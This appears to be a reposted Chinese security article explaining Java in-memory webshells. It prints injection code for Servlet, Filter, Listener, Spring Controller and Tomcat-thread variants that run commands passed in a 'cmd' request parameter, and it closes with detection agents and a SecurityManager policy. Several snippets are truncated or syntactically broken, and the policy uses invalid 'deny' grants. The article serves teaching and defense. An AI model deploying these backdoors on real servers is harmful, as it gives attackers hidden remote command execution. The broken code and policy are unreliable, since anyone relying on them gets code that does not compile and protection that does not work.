关于我:资深IT专家,AI布道者,15年实战老兵+多本专业图书作者+大厂技术面试官。
什么是内存马
内存马(Memory Webshell)是一种特殊的Webshell变种,它不以文件形式存在于磁盘上,而是直接注入到Java Web应用的运行时内存中,通过劫持或修改Web容器的组件来实现持久化控制,从而规避传统的基于文件系统的安全检测。
内存马具有以下特点:
-
不写入磁盘,难以被文件监控系统发现 -
服务器重启后会消失(非持久化) -
难以通过常规方法检测和清除 -
可以绕过Web应用防火墙(WAF)的检测
内存马的产生,是因为Java Web应用通常基于Servlet规范,来管控生命周期。它的组件构成有:
* 1. Web容器 (如Tomcat, Jetty, WebLogic)
* - 负责管理整个Web应用的生命周期
* - 提供HTTP请求处理能力
* - 管理Servlet, Filter, Listener等组件
*
* 2. Servlet容器
* - 管理所有Servlet实例
* - 负责请求分发和处理
*
* 3. Web组件(内存马注入重点组件)
* - Servlet: 处理HTTP请求的核心组件
* - Filter: 请求过滤器,可以拦截和修改请求/响应
* - Listener: 监听器,监听容器事件
* - Valve(Tomcat特有): 请求处理管道中的组件
*
* 4. 应用上下文
* - ServletContext: 整个Web应用的上下文
* - Session: 用户会话
内存马就是采用上述组件的方式,注入到Java Web应用中,常见的注入点包括:
* 1. Servlet
* - 动态注册新的恶意Servlet
* - 修改已有Servlet的行为
*
* 2. Filter
* - 动态注册新的恶意Filter
* - 修改已有Filter的过滤链
*
* 3. Listener
* - 动态注册新的恶意Listener
* - 监听请求和会话事件
*
* 4. Valve(Tomcat)
* - 向Tomcat的Pipeline中注入恶意Valve
*
* 5. Spring Controller
* - 动态注册新的Controller
* - 修改RequestMappingHandlerMapping
*
* 6. 线程
* - 创建恶意后台线程
内存马的类型
根据不同的Web应用框架和实现机制,内存马可以分为多种类型:
1. Servlet型内存马
在Java Servlet容器(如Tomcat)中,通过动态注册ServletContext来实现:
public class ServletMemoryShell {
public static void inject(HttpServletRequest request) throws Exception {
// 获取ServletContext
ServletContext servletContext = request.getSession().getServletContext();
// 通过反射获取ApplicationContext
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext appContext = (ApplicationContext) appContextField.get(servletContext);
// 获取StandardContext
Field standardContextField = appContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(appContext);
// 创建恶意Servlet
Servlet evilServlet = new Servlet() {
@Override
public void init(ServletConfig config) {}
@Override
public ServletConfig getServletConfig() { return null; }
@Override
public void service(ServletRequest req, ServletResponse res) throws IOException {
String cmd = req.getParameter("cmd");
if (cmd != null) {
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
byte[] bytes = new byte[1024];
int len;
while ((len = in.read(bytes)) != -1) {
res.getOutputStream().write(bytes, 0, len);
}
}
}
@Override
public String getServletInfo() { return""; }
@Override
public void destroy() {}
};
}
}
2. Filter型内存马
通过动态注册Filter到FilterChain中:
public class FilterMemoryShell {
public static void inject(HttpServletRequest request) throws Exception {
// 获取ServletContext
ServletContext servletContext = request.getSession().getServletContext();
// 反射获取StandardContext
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext appContext = (ApplicationContext) appContextField.get(servletContext);
Field standardContextField = appContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(appContext);
// 创建恶意Filter
Filter evilFilter = new Filter() {
@Override
public void init(FilterConfig filterConfig) {}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse res = (HttpServletResponse) response;
String cmd = req.getParameter("cmd");
if (cmd != null) {
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
byte[] bytes = new byte[1024];
int len;
while ((len = in.read(bytes)) != -1) {
res.getOutputStream().write(bytes, 0, len);
}
} else {
chain.doFilter(request, response);
}
}
@Override
public void destroy() {}
}
}
3. Listener型内存马
通过动态注册ServletContextListener
public class ListenerMemoryShell {
public static void inject(HttpServletRequest request) throws Exception {
// 获取ServletContext
ServletContext servletContext = request.getSession().getServletContext();
// 反射获取StandardContext
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext appContext = (ApplicationContext) appContextField.get(servletContext);
Field standardContextField = appContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(appContext);
// 创建恶意Listener
ServletRequestListener evilListener = new ServletRequestListener() {
@Override
public void requestDestroyed(ServletRequestEvent sre) {}
@Override
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
HttpServletResponse res = null;
try {
// 尝试获取当前请求的HttpServletResponse
Field requestField = req.getClass().getDeclaredField("request");
requestField.setAccessible(true);
Object request = requestField.get(req);
Field responseField = request.getClass().getDeclaredField("response");
responseField.setAccessible(true);
res = (HttpServletResponse) responseField.get(request);
String cmd = req.getParameter("cmd");
if (cmd != null) {
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
byte[] bytes = new byte[1024];
int len;
}
}
4. Spring框架内存马
基于Spring MVC的Controller型内存马:
public class SpringControllerMemoryShell {
public static void inject(HttpServletRequest request) throws Exception {
WebApplicationContext context = WebApplicationContextUtils
.getRequiredWebApplicationContext(request.getServletContext());
// 获取RequestMappingHandlerMapping
RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
// 获取私有字段mappingRegistry
Field mappingRegistryField = mapping.getClass().getDeclaredField("mappingRegistry");
mappingRegistryField.setAccessible(true);
Object mappingRegistry = mappingRegistryField.get(mapping);
// 创建恶意Controller类
Class<?> handlerClass = new ByteBuddy()
.subclass(Object.class)
.name("EvilController")
.defineMethod("execCommand", String.class, Modifier.PUBLIC)
.withParameters(String.class)
.intercept(FixedValue.value("Command executed"))
.annotateMethod(AnnotationDescription.Builder.ofType(RequestMapping.class)
.defineArray("value", new String[]{"/evil"}).build())
.annotateParameter(AnnotationDescription.Builder.ofType(RequestParam.class)
.define("value", "cmd").build())
.make()
.load(Thread.currentThread().getContextClassLoader())
.getLoaded();
// 创建Controller实例
Object handlerInstance = handlerClass.getDeclaredConstructor().newInstance();
// 创建RequestMappingInfo
Method method = handlerClass.getDeclaredMethod("execCommand", String.class);
RequestMappingInfo mappingInfo = RequestMappingInfo
.paths("/evil")
.methods(RequestMethod.GET)
.build();
}
}
5. Tomcat线程内存马
通过修改Tomcat的线程执行逻辑:
public class ThreadMemoryShell {
public static void inject() throws Exception {
// 获取当前线程组
ThreadGroup group = Thread.currentThread().getThreadGroup();
// 获取线程组中的线程
Thread[] threads = new Thread[group.activeCount()];
group.enumerate(threads);
for (Thread thread : threads) {
// 寻找Tomcat工作线程
if (thread.getName().contains("Connector")
|| thread.getName().contains("worker")
|| thread.getName().contains("http")) {
try {
// 获取线程的Runnable目标
Field targetField = Thread.class.getDeclaredField("target");
targetField.setAccessible(true);
Object target = targetField.get(thread);
// 使用Javassist修改线程执行逻辑
ClassPool pool = ClassPool.getDefault();
// 添加应用类加载器路径
ClassLoader cl = thread.getContextClassLoader();
pool.insertClassPath(new LoaderClassPath(cl));
// 获取并修改目标类
CtClass ctClass = pool.get(target.getClass().getName());
// 在run方法开始处插入恶意代码
CtMethod runMethod = ctClass.getDeclaredMethod("run");
runMethod.insertBefore(
"javax.servlet.http.HttpServletRequest req = null;" +
"javax.servlet.http.HttpServletResponse res = null;" +
"try {" +
" org.apache.coyote.Request coyoteReq = null;" +
" java.lang.reflect.Field requestField = this.getClass().getDeclaredField("request");" +
}
}
内存马检测与防御
1. 内存马检测方法
Java代理检测 : 通过Java Agent技术监控关键类的加载和修改:
public class MemoryShellDetectorAgent {
public static void premain(String args, Instrumentation inst) {
// 注册Class转换器
inst.addTransformer(new ClassFileTransformer() {
@Override
public byte[] transform(ClassLoader loader, String className,
Class<?> classBeingRedefined,
ProtectionDomain protectionDomain,
byte[] classfileBuffer) {
// 监控Servlet和Filter的注册
if (className.contains("ServletContext") ||
className.contains("FilterChain") ||
className.contains("ApplicationContext")) {
System.out.println("[ALERT] Class " + className + " is being modified");
// 记录调用栈
new Exception("Stack trace").printStackTrace();
}
return null; // 不修改类
}
});
// 监控Runtime.exec和ProcessBuilder调用
inst.addTransformer(new ClassFileTransformer() {
@Override
public byte[] transform(ClassLoader loader, String className,
Class<?> classBeingRedefined,
ProtectionDomain protectionDomain,
byte[] classfileBuffer) {
if ("java/lang/Runtime".equals(className) ||
"java/lang/ProcessBuilder".equals(className)) {
try {
ClassPool cp = ClassPool.getDefault();
CtClass cc = cp.get(className.replace('/', '.'));
if ("java/lang/Runtime".equals(className)) {
CtMethod execMethod = cc.getDeclaredMethod("exec",
new CtClass[]{cp.get("java.lang.String")});
execMethod.insertBefore(
"System.out.println("[ALERT] Runtime.exec called with: " + $1);" +
"new Exception("Runtime.exec stack trace").printStackTrace();"
);
} else {
CtMethod startMethod = cc.getDeclaredMethod("start");
startMethod.insertBefore(
"System.out.println("[ALERT] ProcessBuilder.start called");" +
"new Exception("ProcessBuilder.start stack trace").printStackTrace();"
);
}
return cc.toBytecode();
} catch (Exception e) {
e.printStackTrace();
}
}
return null;
}
});
}
}
JVM内存分析
使用JVM工具分析内存中的可疑类和对象:
public class MemoryAnalyzer {
public static void analyze() throws Exception {
// 获取所有加载的类
Class<?>[] loadedClasses = getLoadedClasses();
// 检查可疑的动态生成类
for (Class<?> clazz : loadedClasses) {
if (clazz.getName().contains("CGLIB") ||
clazz.getName().contains("Proxy") ||
clazz.getName().contains("ByteBuddy")) {
System.out.println("[SUSPICIOUS] Dynamic generated class: " + clazz.getName());
// 检查类方法
for (Method method : clazz.getDeclaredMethods()) {
System.out.println(" - Method: " + method.getName());
// 检查方法中的可疑代码
try {
byte[] bytecode = getBytecode(clazz);
if (containsSuspiciousCode(bytecode)) {
System.out.println(" [ALERT] Contains suspicious code!");
}
} catch (Exception e) {
// 忽略
}
}
}
}
// 检查Servlet容器组件
checkTomcatComponents();
}
private static Class<?>[] getLoadedClasses() throws Exception {
// 获取所有已加载的类
Field f = ClassLoader.class.getDeclaredField("classes");
f.setAccessible(true);
Vector<Class<?>> classes = (Vector<Class<?>>) f.get(ClassLoader.getSystemClassLoader());
return classes.toArray(new Class<?>[0]);
}
private static byte[] getBytecode(Class<?> clazz) throws Exception {
// 获取类的字节码
String className = clazz.getName();
String classAsPath = className.replace('.', '/') + ".class";
InputStream stream = clazz.getClassLoader().getResourceAsStream(classAsPath);
if (stream == null) {
throw new Exception("Cannot find class file");
}
byte[] data = new byte[stream.available()];
stream.read(data);
return data;
}
private static boolean containsSuspiciousCode(byte[] bytecode) {
// 检查字节码中的可疑特征
String code = new String(bytecode);
return code.contains("Runtime.exec") ||
code.contains("ProcessBuilder") ||
code.contains("InputStream") ||
code.contains("getOutputStream");
}
private static void checkTomcatComponents() {
try {
// 获取Tomcat StandardContext
// 这需要根据具体环境调整
ClassLoader cl = Thread.currentThread().getContextClassLoader();
Class<?> standardContextClass = cl.loadClass("org.apache.catalina.core.StandardContext");
// 反射获取所有StandardContext实例
// 这里简化处理,实际情况可能需要更复杂的方法
Field f = standardContextClass.getDeclaredField("instances");
f.setAccessible(true);
List<?> contexts = (List<?>) f.get(null);
for (Object context : contexts) {
// 检查Servlets
Method getServletsMethod = standardContextClass.getDeclaredMethod("getServlets");
getServletsMethod.setAccessible(true);
// 检查Filters
Method getFiltersMethod = standardContextClass.getDeclaredMethod("getFilters");
getFiltersMethod.setAccessible(true);
// 检查Listeners
Method getListenersMethod = standardContextClass.getDeclaredMethod("getApplicationEventListeners");
getListenersMethod.setAccessible(true);
// 分析结果
// ...
}
} catch (Exception e) {
// 忽略异常
}
}
}
2. 内存马防御方法
配置Java SecurityManager限制敏感操作:
// 启动参数
// java -Djava.security.manager -Djava.security.policy=app.policy
// app.policy内容示例
grant {
// 限制只能执行特定命令
permission java.io.FilePermission "/usr/bin/ls", "execute";
// 限制只能访问特定目录
permission java.io.FilePermission "/app/-", "read,write";
// 禁止使用反射修改类
permission java.lang.reflect.ReflectPermission "suppressAccessChecks", "deny";
// 禁止使用ClassLoader加载类
permission java.lang.RuntimePermission "createClassLoader", "deny";
};
更多内容,请访问知识星球阅读,本文为《Java代码审计手册精华版》内容节选。部分目录如下:
✅ 更多安全架构相关知识,请关注视频号和知识星球
✅ 推荐阅读AI智能体产品MCP架构与运维安全检查清单
原文始发于微信公众号(BurpSuite实战教程):《一文看懂内存马》
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论